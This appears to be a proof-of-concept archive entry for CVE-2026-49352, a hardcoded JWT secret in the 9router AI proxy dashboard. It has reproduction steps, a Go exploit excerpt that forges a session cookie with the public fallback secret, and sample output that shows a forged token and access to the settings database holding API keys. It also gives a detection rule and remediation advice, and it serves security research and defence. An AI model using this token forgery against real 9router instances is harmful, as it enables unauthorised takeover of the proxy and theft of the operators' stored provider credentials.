PoC Archive PoC Archive
CVE-2026-49352 / GHSA-jphh-m39h-6gwx category: web CVSS 9.8 (CRITICAL)
Patched

9router Hardcoded JWT Secret Authentication Bypass (CVE-2026-49352)

Published: 2026-11-27 • Researcher: covepseng (PoC author, github.com/covepseng); advisory by decolua / 9router maintainers, analysis published at return-zero.dev

Target software 9router (self-hosted Node.js / Next.js proxy for AI coding tools)
Affected versions 0.2.21 through 0.4.44 inclusive (fixed in 0.4.44 per NVD; the upstream PoC README states 0.2.21 to 0.4.41 with the fix in 0.4.45 — see Notes)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-49352 / GHSA-jphh-m39h-6gwx
Category
web
Affected product
9router (self-hosted Node.js / Next.js proxy for AI coding tools)
Affected versions
0.2.21 through 0.4.44 inclusive (fixed in 0.4.44 per NVD; the upstream PoC README states 0.2.21 to 0.4.41 with the fix in 0.4.45 — see Notes)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-06 (upstream commit 30f82f10c734defe49752463ef2ac36377be4c86, “feat: first commit”)
Author / Researchercovepseng (PoC author, github.com/covepseng); advisory by decolua / 9router maintainers, analysis published at return-zero.dev
CVE / AdvisoryCVE-2026-49352 / GHSA-jphh-m39h-6gwx
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1 — per CVE record / NVD); EPSS 0.02193
StatusWeaponized
Tags9router, JWT, hardcoded-secret, CWE-798, authentication-bypass, unauthenticated, Next.js, Node.js, AI-router
RelatedN/A

Affected Target

FieldValue
Software / System9router (self-hosted Node.js / Next.js proxy for AI coding tools)
Versions Affected0.2.21 through 0.4.44 inclusive (fixed in 0.4.44 per NVD; the upstream PoC README states 0.2.21 to 0.4.41 with the fix in 0.4.45 — see Notes)
Language / PlatformJavaScript / TypeScript (Node.js 20, Next.js); exploit written in Go 1.22+
Authentication RequiredNo — the forged cookie is the authentication
Network Access RequiredYes — HTTP(S) access to the 9router dashboard port (default 20128)

Summary

9router signed dashboard session JWTs with a secret taken from an environment variable, but fell back to the public constant 9router-default-secret-change-me whenever that variable was unset. The same literal was committed in the login route, the middleware and the dashboard session helper, so it is not a secret in any sense. Because the request guard only verifies the token signature and never looks up a server-side session, any remote attacker can sign a token claiming authenticated=true and be treated as a logged-in dashboard user. From there the attacker reaches protected dashboard pages and the settings database endpoint that returns provider connections, proxy pools and stored API keys.

Vulnerability Details

Root Cause

Two independent modules derived their signing key the same way: new TextEncoder().encode(process.env.JWT_SECRET || “9router-default-secret-change-me”). The literal appears in src/app/api/auth/login/route.js (token issuance), in src/middleware.js, and later in src/lib/auth/dashboardSession.js (token verification). The value is published in the open-source repository, so an attacker knows the key for every deployment that never set JWT_SECRET — the default for quick-start and docker-run setups that skip the environment configuration step. Verification reduced identity to a signature check: hasValidToken() called jwtVerify(token, SECRET) and returned true on success, with no session record lookup, no issuer or audience check and no binding to a login event. A valid HS256 signature over an attacker-chosen payload was therefore sufficient proof of identity. The fix in 0.4.44 removes the fallback and requires an explicitly configured secret.

Attack Vector

Unauthenticated HTTP request: the attacker mints an HS256 JWT with the payload {“authenticated”: true, “iat”: , “exp”: }, places it in the auth_token cookie, and requests /dashboard. Any endpoint listed in ALWAYS_PROTECTED — including /api/settings/database — is reachable with the same cookie. No credentials, no prior interaction with the instance and no knowledge of the deployment are needed beyond network reachability.

Impact

Full authentication bypass on the 9router dashboard, which in practice means administrative control of the proxy: reading the settings database (provider connections, proxy pools, model aliases, API keys and combos returned by /api/settings/database), adding or replacing upstream provider credentials, redirecting the operator’s AI traffic and consuming or exfiltrating the API keys stored there. Because 9router sits between the operator and paid model providers, the exposure is both data (keys, provider accounts) and control (traffic interception).

Environment / Lab Setup

Output
OS:          Linux x86_64 with Podman >= 4.0 and podman-compose (Docker plus docker compose works too)
Target:      9router built from source at tag v0.4.30 (inside the affected range), JWT_SECRET intentionally unset
Attacker:    Same host; Go >= 1.22 with network access to 127.0.0.1:20128
Tools:       podman-compose, git, npm (inside image build), curl, Go toolchain

The container build clones decolua/9router at the pinned tag, installs dependencies, runs the Next.js production build and starts it on port 20128. The image deliberately does not define JWT_SECRET, reproducing the vulnerable default deployment. Note that the archived copy omits upstream go.sum, so regenerate it before running the exploit (see Step 2).

Setup Steps

Shell script
1
2
3
podman-compose build          # builds 9router v0.4.30 with JWT_SECRET unset
podman-compose up -d
curl -si http://localhost:20128/dashboard | head -1

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the target is reachable and unauthenticated — the dashboard redirects to the login page.

    Shell script
    1
    
    curl -si http://localhost:20128/dashboard | head -3
  2. Prepare the Go exploit — the archived copy ships go.mod but not go.sum (archive policy excludes lockfiles), so resolve dependencies once.

    Shell script
    1
    2
    
    cd exploit
    go mod tidy        # regenerates go.sum and fetches github.com/golang-jwt/jwt/v5 v5.2.1
  3. Forge a token and request the dashboard — the tool signs the payload with the hardcoded fallback secret and sends it as the auth_token cookie.

    Shell script
    1
    
    go run exploit.go -target http://localhost:20128
  4. Demonstrate the credential exposure — with -probe the same cookie is replayed against the settings database endpoint.

    Shell script
    1
    
    go run exploit.go -target http://localhost:20128 -probe
  5. Confirm the negative control — set JWT_SECRET to a random value on the container and repeat; the forged token is rejected with a redirect to /login.

    Shell script
    1
    2
    
    podman-compose down -v
    # edit podman-compose.yml to add JWT_SECRET: $(openssl rand -hex 32) under environment, then rebuild and rerun

Exploit Code

See exploit/exploit.go (Go) in this folder; the lab definition lives in dockerfile and podman-compose.yml.

Go source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// Minimal excerpt — full version in exploit/exploit.go
const defaultFallbackSecret = "9router-default-secret-change-me"
const authCookieName = "auth_token"

claims := dashboardClaims{
    Authenticated: true,
    RegisteredClaims: jwt.RegisteredClaims{
        IssuedAt:  jwt.NewNumericDate(time.Now()),
        ExpiresAt: jwt.NewNumericDate(time.Now().Add(ttl)),
    },
}
tok, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString([]byte(defaultFallbackSecret))

req, _ := http.NewRequest(http.MethodGet, target+"/dashboard", nil)
req.AddCookie(&http.Cookie{Name: authCookieName, Value: tok})
resp, _ := client.Do(req)   // 200 => bypass confirmed

Expected Output

Output
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

A non-vulnerable instance (JWT_SECRET set) produces instead: [-] 307 redirect (likely to /login) — the forged token was rejected, target is probably not vulnerable or JWT_SECRET is set.

Detection & Indicators of Compromise

Output
"GET /dashboard HTTP/1.1" 200          (with Cookie: auth_token=...)
"GET /api/settings/database HTTP/1.1" 200

SIEM / IDS rule (example):

Output
alert http any any -> any any (msg:"9router forged JWT session (hardcoded secret)"; \
  flow:to_server; content:"auth_token="; http_cookie; \
  content:"/dashboard"; http_uri; sid:9003101;)

Watch for the same source IP hitting the dashboard and the settings database within one session without ever POSTing to /api/auth/login, and for API-key usage from unfamiliar source addresses shortly afterwards.

Remediation

ActionDetail
PatchUpgrade to 9router 0.4.44 or later (the upstream PoC README references 0.4.45 — see Notes); the fix commit is fe3ce25ae3cda48c0702c2d452e17f6ec214009d and the release is v0.4.44
WorkaroundIf upgrading immediately is not possible, set JWT_SECRET on every instance to a long random value (for example openssl rand -hex 32) and restart, so the hardcoded fallback is never used
Config HardeningTreat JWT_SECRET as a required deployment secret: inject it from a secret manager, fail startup when it is absent, and rotate it if the instance ever ran without it (rotation invalidates forged as well as legitimate tokens)
Post-exposureAssume dashboard-stored provider credentials and API keys were readable; revoke and reissue upstream provider keys, review proxy pool and provider connection settings for unauthorized changes

References

Notes

Verdict: genuine, non-malicious exploitability PoC. The repository contains a complete Go exploit that forges the dashboard JWT, a lab Dockerfile that builds the vulnerable tag with JWT_SECRET unset, and a compose file; the upstream README documents a confirmed 200 OK against that lab. No scanner, credential stealer, persistence or C2 logic is present — the database probe only retrieves the settings JSON the advisory describes. Archived as-is apart from an added disclaimer header in exploit/exploit.go.

Files copied: exploit/exploit.go, exploit/go.mod, dockerfile, podman-compose.yml, and the upstream README as upstream-README.md. Not copied: exploit/go.sum (archive policy excludes lockfiles; regenerate with go mod tidy), the .git directory, and the upstream repository’s build artifacts.

Version-range discrepancy: the CVE record states “from 0.2.21 until 0.4.44” fixed in 0.4.44, while the PoC README’s table says 0.2.21 to 0.4.41 fixed in 0.4.45. The lab pins v0.4.30, inside both ranges, so the reproduction is unaffected; operators should follow the fixed version named by the vendor release.

License: neither the PoC repository nor its README declares a license. Copyright remains with the upstream author; the files are archived here unmodified (plus the disclaimer header) for research and defensive reference. Anyone redistributing them should seek permission from the author.

Limitations: the exploit only works when JWT_SECRET is unset, so hardened deployments are immune; the container build downloads the 9router source and runs a full npm install and Next.js build, which needs network access and several minutes; the token TTL flag changes only the exp claim, which the vulnerable code never bounds-checks; and the -probe path returns whatever the deployment stores, which is empty on a fresh container, so a clean JSON body still counts as successful unauthenticated access.